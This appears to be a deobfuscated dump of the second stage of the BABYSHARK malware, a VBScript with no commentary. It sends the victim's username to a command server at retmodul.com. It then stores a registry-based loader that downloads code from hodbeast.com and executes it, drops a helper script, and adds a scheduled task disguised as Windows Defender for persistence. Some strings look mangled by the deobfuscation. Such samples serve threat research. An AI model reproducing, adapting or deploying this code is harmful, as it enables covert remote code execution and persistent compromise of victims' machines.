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BABYSHARK malware stage2 -- deobfuscated data from the normal.crp file
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On Error Resume Next | |
Set fs = CreateObject("Scripting.FileSystemObject") | |
Set ws = CreateObject("WScript.Shell") | |
Set p0 = CreateObject("msxml2.xmlhttp") | |
scriptdir = ws.ExpandEnvironmentStrings("%appdata%") | |
userdir = ws.ExpandEnvironmentStrings("%userprofile%") | |
username = LCase(ws.ExpandEnvironmentStrings("%username%")) | |
username = Escape(username) | |
username = Replace(username,"%u","") | |
username = Replace(username,"%20","") | |
chk = "no" | |
username = LCase(username) | |
If username <> "bob" And username <> "administrator" Then | |
p0.open "GET", "https://retmodul.com/google/goog.php?op=" + username,False | |
p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" | |
p0.Send | |
WScript.quit | |
End If | |
If username = "bob" Then | |
username0 = "bob" | |
depth = "9" | |
End If | |
If username = "administrator" Then | |
username0 = "administrator" | |
depth = "9" | |
End If | |
If Not fs.FileExists(scriptdir + "\filexx.tmp") Then | |
asd = "reg add HKEY_CURRENT_USER\Software\RegisteredApplications /v AppXr1bysyqf6kpaq1aje5sbadka8dgx3g4g /t reg_sz /d ""Set Post0 = CreateObject(""""""msxml2.xmlhttp"""""") | |
Set objFSO = CreateObject(""""""Scripting.FileSystemObject"""""") | |
Set wShell = CreateObject(""""""WScript.Shell"""""") | |
folder = wShell.ExpandEnvironmentStrings(""""""""%""appdata""%"""""""") | |
data = """"""no"""""" | |
If objFSO.FileExists(folder + """""" \ desktop.tmp"""""") Then | |
Set objFile = objFSO.GetFile(folder + """""" \ desktop.tmp"""""") | |
If objFile.Size < 10 Then | |
objFSO.DeleteFile folder + """""" \ desktop.tmp"""""" | |
WScript.quit | |
End If | |
Set f = objFSO.OpenTextFile(folder + """""" \ desktop.tmp"""""", 1, True) | |
data = f.ReadAll | |
f.Close | |
d = ______d_____ _ | |
L = Len(data) | |
s = """""""""""" | |
For jx = 0 To d - 1 | |
For ix = 0 To Int(L / d) - 1 | |
s = s & Mid(data,ix * d + jx + 1,1) | |
Next | |
Next | |
s = s & Right(data,L - Int(L / d) * d) | |
data = s | |
objFSO.DeleteFile folder + """""" \ desktop.tmp"""""" | |
Else | |
Post0.open """"""Get"""""", """"""https / / hodbeast.com / silver / expres.php?op = username0"""""",False | |
Post0.setRequestHeader """"""Content - Type"""""", """"""application / x - www - form - urlencoded"""""" | |
Post0.Send | |
t0 = Post0.responseText | |
Set f = objFSO.CreateTextFile(folder + """""" \ desktop.tmp"""""", True) | |
f.Write(t0) | |
f.Close | |
End If | |
If data <> """"""no"""""" Then | |
Execute(data) | |
End If | |
"" / f" | |
asd = Replace(asd,"username0",username0) | |
asd = Replace(asd,"______d______",depth) | |
re = ws.run(asd, 0, True) | |
fs.CreateFolder userdir + "\Microsoft" | |
Set objBat = fs.CreateTextFile(userdir + "\Microsoft\sys1.vbs",True) | |
objBat.Write "On Error Resume Next | |
"+vbcrlf+"Set oFilesToEncode = WScript.Arguments "+vbcrlf+"file = oFilesToEncode(0)"+vbcrlf+"file = Replace(file, ""z"", """""""")"+vbcrlf+"execute(file)" | |
objBat.Close | |
chk = "file" | |
Set hnd = fs.CreateTextFile(scriptdir + "\filexx.tmp", True) | |
hnd.Write "111" | |
hnd.Close | |
p0.open "GET", "https://retmodul.com/google/goog.php?op=" + chk + username,False | |
p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" | |
p0.Send | |
WScript.quit | |
End If | |
If Not fs.FileExists(scriptdir + "\schedxx.tmp") Then | |
chk = "schedxx" | |
Set hnd = fs.CreateTextFile(scriptdir + "\" + chk + ".tmp", True) | |
hnd.Write "111" | |
hnd.Close | |
tmp = "cmd.exe /c schtasks /create /tn ""Diagnosis\Windows Defender\Microsoft-Windows-Defender"" /tr ""wscript.exe /b """"""%userprofile%\Microsoft\sys1.vbs"""""" """"""On Error Resume Next | |
Set d = CreateObject(zWScript.Shellz) | |
e = d.RegRead(zHKEY_CURRENT_USER \ Software \ RegisteredApplications \ AppXr1bysyqf6kpaq1aje5sbadka8dgx3g4gz) | |
execute(e)"""""""" / sc Minute / mo 61 / f" | |
re = ws.run(tmp, 0, True) | |
p0.open "GET", "https://retmodul.com/google/goog.php?op=" + chk + username,False | |
p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" | |
p0.Send | |
WScript.quit | |
End If | |
p0.open "GET", "https://retmodul.com/google/goog.php?op=" + chk + username,False | |
p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" | |
p0.Send |
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